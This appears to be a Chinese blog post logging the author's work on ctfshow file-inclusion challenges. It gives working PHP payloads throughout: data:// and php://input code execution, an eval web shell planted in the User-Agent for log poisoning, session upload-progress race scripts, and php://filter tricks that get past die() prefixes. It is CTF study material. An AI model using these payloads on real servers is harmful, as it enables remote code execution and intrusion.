记录一下在ctfshow平台上学习文件包含的过程
web78
题目源码
1 | <?php |
如果在请求的 URL 参数中包含了一个名为 “file” 的参数,那么它的值将会被用作文件名进行文件包含操作。
关键部分为include 这里的$file 可由get传参控制,由于没有过滤所以这里方法较多。
使用data协议可以很直观有条理的获得flag
?file=data://text/plain,<?php system('ls');?>
可以获取当前目录文件发现有一个flag.php
?file=data://text/plain,<?php system('tac flag.php');?>
即可读取flag.php的中的内容。
利用data:// 伪协议可以直接达到执行php代码的效果
也可以使用filter协议获得flag
web79
题目源码
1 | <?php |
看到加了一些过滤
解法
通过大小写绕过
1 | ?file=data://text/plain,<?Php%20system("ls");?> |
1 | ?file=data://text/plain,<?Php%20system("cat%20f*");?> |
web80
题目源码
1 | <?php |
又加了对data的过滤
再试试能不能用大小写绕过
好像协议这种改成大写就没法识别了,那就尝试换协议
filter好像也没法用,那就尝试抓包利用input协议
将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
在GET后添加
1 | ?file=Php://input |
在数据包中添加
1 | <?Php system('cat f*');?> |
发送请求即可得到flag
web81
又被调侃了,哈哈哈,加油加油,克服难关,取得真经
题目代码
1 | <?php |
又对:过滤了
考虑到日志包含漏洞
在不同的系统,存放日志文件地方和文件名不同
apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
由于访问URL时访问URL时,服务器会对其编码,所以得通过抓包的形式尝试注入
burp抓包,在ua写入
1 | <?php @eval($_REQUEST[1])?> |
然后hackbar的post请求写入
1 | 1=system("ls"); |
可以看到当前目录文件
1 | 1=system("tac fl0g.php"); |
查看文件即可得到flag
成功getshell也可以使用蚁剑连接
LFI 绕过 Session 包含限制 Getshell
在网上搜这道题做法的时候看到一个另类的做法
用户会话
在了解session包含文件漏洞及绕过姿势的时候,我们应该首先了解一下服务器上针对用户会话session的存储与处理是什么过程,只有了解了其存储和使用机制我们才能够合理的去利用它得到我们想要的结果。
会话存储
存储方式
Java
是将用户的session存入内存中,而PHP
则是将session以文件的形式存储在服务器某个文件中,可以在php.ini
里面设置session的存储位置session.save_path
。
可以通过phpinfo查看session.save_path
的值
知道session的存储后,总结常见的php-session默认存放位置是很有必要的,因为在很多时候服务器都是按照默认设置来运行的,这个时候假如我们发现了一个没有安全措施的session包含漏洞就可以尝试利用默认的会话存放路径去包含利用。
- 默认路径
1 | /var/lib/php/sess_PHPSESSID |
命名格式
如果某个服务器存在session包含漏洞,要想去成功的包含利用的话,首先必须要知道的是服务器是如何存放该文件的,只要知道了其命名格式我们才能够正确的去包含该文件。
session
的文件名格式为sess_[phpsessid]
。而phpsessid在发送的请求的cookie字段中可以看到。
暂时没搞懂,以后碰到相关的再回来看看
web82
题目源码
1 | <?php |
又添加了一些过滤
看了一个小时的php反序列化又什么session的看得头晕眼花也没看懂。。。。。。。。。
我觉得还是有必要去系统学习一下php的,懂得各种函数运行的原理和作用,为以后挖洞奠定基础。
session.use_strict_mode=off
这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要,下面会用到。
条件竞争介绍
1.1 是什么
条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现bug
。尤其在当前我们的系统中大量对资源进行共享,如果处理不当的话,就会产生条件竞争漏洞。说的通俗一点,条件竞争涉及到的就是操作系统中所提到的进程或者线程同步的问题,当一个程序的运行的结果依赖于线程的顺序,处理不当就会发生条件竞争。
1.2产生条件
并发、共享对象、改变对象是条件竞争产生的必要条件
运行脚本
1 | import requests |
然后命令执行即可
burp抓包
session.upload_progress在php5.4添加的。
在php.ini有以下几个默认选项
1 | 1. session.upload_progress.enabled = on |
- enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
- cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
- name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
- prefix+name将表示为session中的键名
- 另外,再添加个session配置中一个重要选项。
- session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。
分析
如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,
此时我们可以利用竞争,在session文件内容清空前进行包含利用。
session文件默认存储路径
1 | /var/lib/php/sess_PHPSESSID |
以POST的形式发包,上传的文件随意,下面是构造的上传表单
1 | <!DOCTYPE html> |
抓包,这里我们添加一个 Cookie :PHPSESSID=flag ,session文件的位置我们根据上文的常见的几个测试,在/tmp/sess_PHPSESSID下成功访问且不报错,说明在/tmp/sess_PHPSESSID目录下, 所以PHP将会在服务器上创建一个文件:/tmp/sess_flag” 然后我们在PHP_SESSION_UPLOAD_PROGRESS下添加我们的执行代码,
因为我们在上面这个页面添加的ID值是flag,所以传参?file=/tmp/sess_flag,抓包
修改如下:这个a是随便加的,主要是为了方便爆破
我不知道为什么我burp失败了,爆破了很多次,先放放再说
web83
还是上一题的脚本
web84
题目
虽然删除了,但是cpu和内存还是有间隔的
web85
题目源码
1 | <?php |
发现有死亡过滤
进行跑发现可以
web86
题目源码
1 | <?php |
定义了包含地址
web87
题目源码
1 | <?php |
rot13
利用php伪协议中的string.rot13过滤器将<?php die('大佬别秀了');?>
“消掉”,这样就可以插入自己构造的php代码:
1 | GET: ?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2531%252e%2570%2568%2570 |
base64-decode
1 | GET: ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30 |
注意:<?php eval($_POST['cmd']);?>
的编码是PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
,而我们POST的数据却多了两个字符aa。这是因为base64作用的字符对象是大小写字母 数字 +/,且decode是以8位为一组,但是原文件内容<?php die('大佬别秀了');?>
中只有phpdie六个字符可以被用作deocde运算,二进制位数不满足base64-decode要求,所以需要补两个字符。
web88
题目源码
1 | <?php |
题目进行了过滤
然后用base64绕过php过滤
base64编码出一个不被过滤的payload
1 | ?file=data://text/plain;base64,<?Php system("ls");echo("acd")?>adbe |
成功访问当前目录
访问fl0g.php文件
1 | /?file=data://text/plain;base64,<?Php system("tac fl0g.php");echo("ac")?>adeh |
web116
题目源码
发现是一个视频,还是很好看的
通过misc得到一个源码(暂时不会)
然后得知直接get传参然后抓包在返回的数据包中有flag
web117
题目源码
1 | <?php |
这里看到了,没有过滤php://filter
所以这里还是打算用这个绕过,emmm但是过滤了base64,多以就没法绕过了。
看了看一个新的死亡绕过方式,利用convert.iconv.UCS-2LE.UCS-2BE
过滤器,这个是将前后两个字符进行交替(abcd==>badc),所以写入文件的<?php die();?>
就会被扰乱,从而绕过。
1 | ? file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=test5.phpcontents=?<hp pvela$(P_SO[Tt"se5t]";)>? |
文件包含心得
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
利用伪协议上传恶意代码
session利用竞争写入恶意文件
详解利用session进行文件包含_利用session机制,将所有敏感文件都引入事先写好的session文件,只有session文件中-CSDN博客
ctfshow元旦水友赛一道题
1 | <?php |
过滤了点号并且开头必须为小写的字母。
什么是session.upload_progress?
与open_basedir、allow_url_fopen、allow_url_include等PHP配置一样,session.upload_progress也是PHP的一个功能,同样可以在php.ini中设置相关属性。其中最重要的几个设置如下:
1 | session.upload_progress.enabled = on |
session.upload_progress.enabled可以控制是否开启
session.upload_progress功能session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
session.upload_progress.prefix可以设置上传文件内容的前缀
session.upload_progress.name的值即为session中的键值
session.upload_progress开启之后会有什么效果?
当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。
脚本
1 | import requests |
read先包含session文件使得一句话木马得到执行再执行命令。